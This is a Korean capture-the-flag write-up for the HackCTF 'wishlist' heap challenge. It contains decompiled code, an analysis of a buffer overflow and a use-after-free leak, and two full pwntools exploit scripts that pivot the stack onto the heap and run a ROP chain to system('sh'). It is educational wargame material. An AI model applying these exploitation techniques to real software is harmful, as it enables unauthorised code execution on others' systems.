Sechack

HackCTF - wishlist풀이 본문

Wargame

HackCTF - wishlist풀이

Sechack 2021. 5. 11. 15:47
반응형
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_400846();
  while ( 1 )
  {
    sub_4008DA();
    v3 = (char)sub_4008A7();
    switch ( v3 )
    {
      case 50:
        sub_40097F();
        break;
      case 51:
        sub_4009DD();
        break;
      case 49:
        sub_400910();
        break;
    }
  }
}

IDA로 까봤는데 stripped가 걸려있다. 그래도 바이너리가 워낙 간단해서 분석하는데 어려움은 없었다.

 

 

int sub_4008DA()
{
  puts("1. make wish");
  puts("2. view wish");
  return puts("3. remove wish");
}

 

메뉴 3개를 출력해준다. 힙 문제인 만큼 make wish는 할당, view wish는 데이터 출력, remove wish는 해제라고 추측해 볼 수 있다.

 

__int64 sub_4008A7()
{
  unsigned __int8 buf; // [rsp+0h] [rbp-10h]

  printf("input: ");
  read(0, &buf, 0x20uLL);
  return buf;
}

 

메뉴를 입력받는다. 보통은 read로 3글자만 입력받은다음 atoi로 숫자로 바꿔줘서 메뉴 선택하도록 하는데 얘는 그냥 입력받고 리턴한다. case문에서도 아스키 코드로 처리한다. 그리고 버퍼 크기가 0x10인데 0x20만큼 입력받을 수 있다. 딱 ret까지 bof가 일어난다.

 

 

__int64 sub_400910()
{
  int v0; // ebx

  v0 = dword_6010C0;
  ptr[v0] = (char *)malloc(0x18uLL);
  printf("wishlist: ");
  read(0, ptr[dword_6010C0], 0x18uLL);
  return (unsigned int)(dword_6010C0++ + 1);
}

 

make wish기능이다. 해당 기능이 호출되면 malloc함수의 인자로 0x18이 들어간다. 이 값은 고정이어서 unsorted bin을 사용할 수 없다. 그리고 chunk header까지 합해서 chunk 하나당 0x30의 크기를 차지할 것이다.

 

 

int sub_40097F()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  return puts(ptr[v1]);
}

 

view wish기능이다. scanf함수로 index를 입력받고 해당 index의 데이터를 조회해준다. if문을 보면 OOB는 불가능해 보인다.

 

 

__int64 sub_4009DD()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  free(ptr[v1]);
  result = v1;
  ptr[v1] = 0LL;
  return result;
}

 

remove wish기능이다. free로 해제한다음 해제한 포인터를 0으로 만들어서 DFB는 사용하지 못한다.

 

 

int sub_4008FF()
{
  return system("~!@#$");
}

 

그리고 IDA plt심볼 부분에 system함수가 있길래 뭐지 하고 함수들 뒤져봤는데 이러한 함수가 있었다. system함수의 주소를 준다.

 

 

 

 

 

 

 

 

 

분석한 결과를 종합해보자면 DFB는 불가능하지만 UAF는 가능하다. malloc함수는 realloc과 다르게 메모리를 초기화시키는 과정 없이 그냥 할당하기 때문에 fd에 쓰여있는 힙주소를 leak할 수 있다.

 

 

 

앞에서 메뉴 선택하는 함수에서 ret까지 BOF가 터지는걸 확인했다. 그리고 우리는 힙주소를 leak할수가 있다. 즉 힙 청크에다가 fake stack을 구성하고 stack pivot으로 우리가 원하는 힙 청크로 call chain의 흐름을 바꾸면 될것이다. 

 

 

바이너리 안에 sh + NULL이 있으므로 인자는 이걸 사용하면 될것이다. 굳이 저게 없더라도 /bin/sh를 heap chunk에 넣어둔뒤에 heap base랑 offset구해서 인자로 주면 된다. pop rdi가젯은 그냥 있었다.

 

 

 

시나리오 짰으니까 바로 익스 작성!!

 

from pwn import *

r = process("./wishlist")
#r = remote("ctf.j0n9hyun.xyz", 3035)
e = ELF("./wishlist")

system = e.plt["system"]
pop_rdi = 0x400b03
leave_ret = 0x4008d8
sh = 0x400B36

def add(data):
    r.sendlineafter("input: ", "1")
    r.sendafter("wishlist: ", data)

def view(idx):
    r.sendlineafter("input: ", "2")
    r.sendlineafter("index: ", str(idx))

def free(idx):
    r.sendlineafter("input: ", "3")
    r.sendlineafter("index: ", str(idx))

add("Sechack")
add("Sechack")

free(0)
free(1)

add("\x10")
view(2)

heap = u64(r.recv(4).ljust(8, b"\x00"))

print(hex(heap))

chain = p64(pop_rdi)
chain += p64(sh)
chain += p64(system)

add(chain)

pause()
r.sendafter("input: ", b"a"*0x10+p64(heap - 8)+p64(leave_ret))

r.interactive()

 

익스 짜고 보냈더니... 터진다...ㅠㅠ

 

 

 

????????? 잘 드가는데 왜터지지????? 계속 안으로 들어가보니까

 

 

 

여기서 터진다. _dl_runtime_resolve_xsave면 libc에 매핑된 함수 실제주소 받아오는 도중에 터진거다. 왜 터질까...ㅠㅠ

 

 

 

 

 

원인을 모르겠어서 여기서부터는 write up을 봤다... write up을 보니까 heap chunk를 많이 할당해서 system함수 내부에서 메모리 공간을 사용하는 도중에 터지지 않도록 한다.

 

 

 

 

write up보고 이해했다. 지금 rsp를 보면 heap 영역을 벗어나서 존재하지 않는 메모리 영역이어서 쓰기도중에 터진것이다. 따라서 system호출하는 주변에 heap chunk를 많이 만들어서 스택을 많이 사용하더라도 heap영역을 벗어나지 않도록 해야한다. rsp에 heap주소가 들어가니까 rsp주변에 있는 chunk들을 스택처럼 사용할 것이다. 주변에 chunk가 없으면 heap영역을 벗어나게 되서 존재하지 않는 메모리 주소에 값을 쓰려고 하니까 터진것이다... 아 ㅋㅋㅋ

 

 

 

 

from pwn import *

#p = process("./wishlist")
r = remote("ctf.j0n9hyun.xyz", 3035)
e = ELF("./wishlist")

system = e.plt["system"]
pop_rdi = 0x400b03
leave_ret = 0x4008d8
sh = 0x400B36

def add(data):
    r.sendlineafter("input: ", "1")
    r.sendafter("wishlist: ", data)

def view(idx):
    r.sendlineafter("input: ", "2")
    r.sendlineafter("index: ", str(idx))

def free(idx):
    r.sendlineafter("input: ", "3")
    r.sendlineafter("index: ", str(idx))

add("Sechack")
add("Sechack")

free(0)
free(1)

add("\x10")
view(2)

heap = u64(r.recv(4).ljust(8, b"\x00"))
heap_base = heap - 0x10
chainstack = heap_base + 0x670

for i in range(50):
    add("\x00")

chain = p64(pop_rdi)
chain += p64(sh)
chain += p64(system)

add(chain)

for i in range(50):
    add("\x00")

r.sendafter("input: ", b"a"*0x10+p64(chainstack - 8)+p64(leave_ret))

r.interactive()

 

 

payload고친다음에 다시 해보니까 잘된다.

 

아 그리고 r.recv(4)로 4byte를 받아오기 때문에 heap base주소가 3byte가 되면 뒤에 더미값이 딸려서 주소에 들어가기 때문에 exploit이 안된다. 따라서 3.5byte의 heap base주소가 생성되어야 정상적으로 leak이 되어서 exploit이 가능하다. 뭐 이건 거의 50%확률이니까 터져도 한두번만 다시 실행해보면 따인다.

 

 

 

 

 

셸이 따였다. 플래그는 직접 푸시고 얻으시길 바랍니다.

반응형

'Wargame' 카테고리의 다른 글

김민욱님이 주신 웹해킹 문제 풀이  (0) 2021.05.28
LOS - iron_golem 풀이  (0) 2021.05.22
HackCTF - 훈폰정음 풀이  (0) 2021.05.12
HackCTF - 달라란 침공 풀이  (0) 2021.05.12
HackCTF - babyfsb 풀이  (0) 2021.05.11
Comments